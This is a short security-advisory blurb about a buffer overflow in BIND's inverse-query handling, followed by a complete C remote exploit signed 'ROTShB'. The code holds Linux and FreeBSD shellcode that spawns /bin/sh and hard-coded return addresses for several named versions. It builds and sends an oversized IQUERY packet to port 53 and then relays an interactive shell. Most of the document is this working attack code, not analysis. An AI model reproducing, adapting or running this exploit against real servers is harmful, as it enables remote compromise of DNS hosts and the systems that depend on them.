source: http://www.securityfocus.com/bid/134/info

A buffer overflow exists in certain versions of BIND, the nameserver daemon currently maintained by the Internet Software Consortium (ISC). BIND fails to properly bound the data recieved when processing an inverse query. Upon a memory copy, portions of the program can be overwritten, and arbitrary commands run on the affected host.

Exploits for this vulnerability are very widespread, and were posted to the Bugtraq mailing list.

/*
 * have fun.
 * -ROTShB
 */

#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <time.h>
#include <string.h>
#include <ctype.h>
#include <netdb.h>
#include <sys/time.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <arpa/nameser.h>

#define DEFAULT_TARGET       0
#define DEFAULT_OPTIMIZATION 0
#define DEFAULT_ANBUF_OFFSET 300
#define DLEN_VAL             4
#define NPACKETSZ            512
#define NMAXDNAME            1025
#define PRE_EGG_DATALEN      (1+(sizeof(short)*3)+sizeof(long))
#define ALEN_VAL             (DLEN_VAL+PRE_EGG_DATALEN)
#define BUFFSIZE             4096

struct target_type
{
  char          desc[40];
  int           systype;
  unsigned long addr;
  unsigned long opt_addr;
  int           fd;
};

struct target_type target[] =
{
  {"x86 Linux 2.0.x named 4.9.5-REL (se)",0,0xbffff21c,0xbffff23c,4},
  {"x86 Linux 2.0.x named 4.9.5-REL (le)",0,0xbfffeedc,0xbfffeefc,4},
  {"x86 Linux 2.0.x named 4.9.5-P1 (se)",0,0xbffff294,0xbffff2cc,4},
  {"x86 Linux 2.0.x named 4.9.5-P1 (le)",0,0xbfffef8c,0xbfffefb4,4},
  {"x86 Linux 2.0.x named 4.9.6-REL (se)",0,0xbffff3e3,0xbffff403,4},
  {"x86 Linux 2.0.x named 4.9.6-REL (le)",0,0xbffff188,0xbffff194,4},
  {"x86 Linux 2.0.x named 8.1-REL (se)",0,0xbffff6a4,0xbffff6f8,5},
  {"x86 Linux 2.0.x named 8.1-REL (le)",0,0xbffff364,0xbffff3b8,5},
  {"x86 Linux 2.0.x named 8.1.1 (se)",0,0xbffff6b8,0xbffff708,5},
  {"x86 Linux 2.0.x named 8.1.1 (le)",0,0xbffff378,0xbffff3c8,5},
  {"x86 FreeBSD 3.x named 4.9.5-REL (se)",1,0xefbfd260,0xefbfd2c8,4},
  {"x86 FreeBSD 3.x named 4.9.5-REL (le)",1,0xefbfd140,0xefbfd1a8,4},
  {"x86 FreeBSD 3.x named 4.9.5-P1 (se)",1,0xefbfd260,0xefbfd2c8,4},
  {"x86 FreeBSD 3.x named 4.9.5-P1 (le)",1,0xefbfd140,0xefbfd1a8,4},
  {"x86 FreeBSD 3.x named 4.9.6-REL (se)",1,0xefbfd480,0xefbfd4e8,4},
  {"x86 FreeBSD 3.x named 4.9.6-REL (le)",1,0xefbfd218,0xefbfd274,4},
  {{0},0,0,0,0}
};

unsigned long resolve(char *host)

{
  long i;
  struct hostent *he;

  if((i=inet_addr(host))==(-1))
    if((he=gethostbyname(host))==NULL)
      return(0);
    else
      return(*(unsigned long *)he->h_addr);

  return(i);
}

int send_packet(int fd, char *buff, int len)
{
  char tmp[2], *ptr=tmp;

  PUTSHORT(len,ptr);

  if(write(fd,tmp,2)!=2)
    return(-1);

  if(write(fd,buff,len)!=len)
    return(-1);

  return(1);
}

int attack(int fd, struct target_type t, unsigned long offset, int optimized)
{
  char buff[BUFFSIZE], *ptr=buff;
  HEADER *dnsh=(HEADER *)buff;
  unsigned long i;
  int dlen, len=0;

  (void)memset(dnsh,0,sizeof(HEADER));

  dnsh->id      = htons(31337);
  dnsh->opcode  = IQUERY;
  dnsh->rd      = 1;
  dnsh->ra      = 1;
  dnsh->ancount = htons(1);

  ptr += sizeof(HEADER);
  len += sizeof(HEADER);

  *ptr = '\0';
  ptr++;

  i = T_A;
  PUTSHORT(i,ptr);

  i = C_IN;
  PUTSHORT(i,ptr);

  i = 31337;
  PUTLONG(i,ptr);

  if(t.systype==0)
    {
      char c0de[] =
        "\x31\xc0\xb0\x3f\x31\xdb\xb3\xff\x31\xc9\xcd\x80\x31\xc0\xb0\x3f\xb1"
        "\x01\xcd\x80\x31\xc0\xb0\x3f\xb1\x02\xcd\x80\xeb\x24\x5e\x8d\x1e\x89"
        "\x5e\x0b\x33\xd2\x89\x56\x07\x89\x56\x0f\xb8\x1b\x56\x34\x12\x35\x10"
        "\x56\x34\x12\x8d\x4e\x0b\x8b\xd1\xcd\x80\x33\xc0\x40\xcd\x80\xe8\xd7"
        "\xff\xff\xff/bin/sh";

      if(optimized)
        dlen = NPACKETSZ+(NMAXDNAME+3)+8-PRE_EGG_DATALEN;
      else
        dlen = NPACKETSZ+(NMAXDNAME+3)+(sizeof(int)*6)+8-PRE_EGG_DATALEN;

      PUTSHORT(dlen,ptr);
      len += PRE_EGG_DATALEN;

      c0de[7] = t.fd;

      (void)memset(ptr,0x90,(sizeof(buff)-(ptr-buff)));

      i = NPACKETSZ-PRE_EGG_DATALEN-sizeof(c0de);
      (void)memcpy((ptr+i),c0de,sizeof(c0de));

      if(!optimized)
        {
          (void)memcpy((ptr+(dlen-16-sizeof(c0de))),c0de,sizeof(c0de));
          i = ALEN_VAL;
          (void)memcpy((ptr+(dlen-16)),&i,sizeof(i));
          i = DLEN_VAL;
          (void)memcpy((ptr+(dlen-12)),&i,sizeof(i));
        }
      else
        (void)memcpy((ptr+(dlen-4-sizeof(c0de))),c0de,sizeof(c0de));

      i = (optimized?t.opt_addr:t.addr)+offset;

      len += dlen;
    }


  else if(t.systype==1)
    {
      char c0de[] =
        "\xeb\x6e\x5e\xc6\x06\x9a\x31\xc9\x89\x4e\x01\xc6\x46\x05\x07\x88"
        "\x4e\x06\x51\x31\xdb\xb3\x04\x53\x66\xc7\x46\x07\xeb\xa7\x31\xc0"
        "\xb0\x5a\x50\xeb\x50\xfe\xc1\x51\x53\xc6\x46\x08\xb6\x31\xc0\xb0"
        "\x5a\x50\xeb\x41\xfe\xc1\x51\x53\xc6\x46\x08\xc5\x31\xc0\xb0\x5a"
        "\x50\xeb\x32\xc7\x46\x07\x2f\x62\x69\x6e\xc7\x46\x0b\x2f\x73\x68"
        "\x21\x31\xc0\x88\x46\x0e\x8d\x5e\x07\x89\x5e\x0f\x89\x46\x13\x8d"
        "\x5e\x13\x53\x8d\x5e\x0f\x53\x8d\x5e\x07\x53\xb0\x3b\x50\xeb\x05"
        "\xe8\x8d\xff\xff\xff";

      if(optimized)
        dlen = NPACKETSZ+(NMAXDNAME+3)+8-PRE_EGG_DATALEN;
      else
        dlen = NPACKETSZ+(NMAXDNAME+3)+(sizeof(int)*6)+8-PRE_EGG_DATALEN;

      PUTSHORT(dlen,ptr);
      len += PRE_EGG_DATALEN;

      c0de[22] = t.fd;

      (void)memset(ptr,0x90,(sizeof(buff)-(ptr-buff)));

      i = NPACKETSZ-PRE_EGG_DATALEN-sizeof(c0de);
      (void)memcpy((ptr+i),c0de,sizeof(c0de));

      if(!optimized)
        {
          (void)memcpy((ptr+(dlen-16-sizeof(c0de))),c0de,sizeof(c0de));
          i = ALEN_VAL;
          (void)memcpy((ptr+(dlen-16)),&i,sizeof(i));
          i = DLEN_VAL;
          (void)memcpy((ptr+(dlen-12)),&i,sizeof(i));
        }
      else
        (void)memcpy((ptr+(dlen-4-sizeof(c0de))),c0de,sizeof(c0de));

      i = (optimized?t.opt_addr:t.addr)+offset;
      (void)memcpy((ptr+(dlen-4)),&i,sizeof(i));

      len += dlen;
    }
  else
    return(0);

  return(send_packet(fd,buff,len));
}

int main(int argc, char *argv[])
{
  char xbuf[128], ybuf[128];
  unsigned long offset=DEFAULT_ANBUF_OFFSET;
  int ti, opt=DEFAULT_OPTIMIZATION, sock, i;
  int xlen=0, ylen=0;
  fd_set rd, wr;
  struct sockaddr_in sa;

  for(i=0;((target[i].addr)||(target[i].opt_addr));i++);

  if(argc<2)
    {
      (void)fprintf(stderr,"\ntarget types:\n");

      for(ti=0;ti<i;ti++)
        (void)fprintf(stderr," %-2d : %s\n",ti,target[ti].desc);

      (void)fprintf(stderr,"\nerror: usage: %s <host> [tt] [opt] [ofst]\n",
                    argv[0]);
      exit(-1);
    }

  if(argc>2)
    {
      ti = atoi(argv[2]);
      if((ti<0)||(ti>i))
        {
          (void)fprintf(stderr,"error: invalid target type %d\n",ti);
          exit(-1);
        }
    }
  else
    ti = DEFAULT_TARGET;

  if(argc>3)
    {
      opt = atoi(argv[3]);
      if((opt!=0)&&(opt!=1))
        {
          (void)fprintf(stderr,"error: invalid optimization setting %d\n",opt);
          exit(-1);
        }
    }

  if(argc>4)
    offset = atoi(argv[4]);


  if(!(sa.sin_addr.s_addr=resolve(argv[1])))
    {
      (void)fprintf(stderr,"error: can not resolve: %s\n",argv[1]);
      exit(-1);
    }

  sa.sin_family = AF_INET;
  sa.sin_port   = htons(53);

  if((sock=socket(sa.sin_family,SOCK_STREAM,0))==(-1))
    {
      (void)perror("error: socket");
      exit(-1);
    }

  if(connect(sock,(struct sockaddr *)&sa,sizeof(sa))==(-1))
    {
      (void)perror("error: connect");
      exit(-1);
    }

  (void)printf("target             : %s\n",inet_ntoa(sa.sin_addr));
  (void)printf("target type        : %s\n",target[ti].desc);
  (void)printf("optimized named    : %s\n",(opt?"YES":"NO"));
  (void)printf("anbuff addr        : 0x%x\n",(unsigned int)
               (i=(opt?target[ti].opt_addr:target[ti].addr)));
  (void)printf("anbuff addr offset : %lu\n",offset);
  (void)printf("ret addr           : 0x%x\n",(unsigned int)(i+offset));
  (void)printf("fd to make dups of : %d\n",target[ti].fd);

  (void)printf("here we go...\n");

  switch(attack(sock,target[ti],offset,opt))
    {
    case -1:
      (void)perror("error: attack");
      exit(-1);
      break;

    case 0:
      (void)fprintf(stderr,"error: internal error\n");
      exit(-1);
      break;
    }

  (void)printf("have fun.\n");
  (void)printf("-ROTShB\n");

  while(1)
    {
      FD_ZERO(&rd);
      if(ylen<(sizeof(ybuf)-1))
        FD_SET(sock,&rd);
      if(xlen<(sizeof(xbuf)-1))
        FD_SET(fileno(stdin),&rd);

      FD_ZERO(&wr);
      if(xlen)
        FD_SET(sock,&wr);
      if(ylen)
        FD_SET(fileno(stdout),&wr);

      if((ti=select((sock+1),&rd,&wr,NULL,NULL))==(-1))
        {
          (void)perror("error: select");
          break;
        }

      if(FD_ISSET(fileno(stdin),&rd))
        {
          if((i=read(fileno(stdin),(xbuf+xlen),(sizeof(xbuf)-xlen)))==(-1))
            {
              (void)perror("error: read");
              exit(-1);
            }
          else if(i==0)
            break;

          xlen += i;
          if(!(--ti)) continue;
        }


      if(FD_ISSET(sock,&wr))
        {
          if(write(sock,xbuf,xlen)!=xlen)
            {
              (void)perror("error: write");
              exit(-1);
            }

          xlen = 0;
          if(!(--ti)) continue;
        }

      if(FD_ISSET(sock,&rd))
        {
          if((i=read(sock,(ybuf+ylen),(sizeof(ybuf)-ylen)))==(-1))
            {
              (void)perror("error: read");
              exit(-1);
            }
          else if(i==0)
            break;

          ylen += i;
          if(!(--ti)) continue;
        }

      if(FD_ISSET(fileno(stdout),&wr))
        {
          if(write(fileno(stdout),ybuf,ylen)!=ylen)
            {
              (void)perror("error: write");
              exit(-1);
            }

          ylen = 0;
          if(!(--ti)) continue;
        }
    }

  if(close(sock)==(-1))
    {
      (void)perror("error: close");
      exit(-1);
    }

  exit(0);
}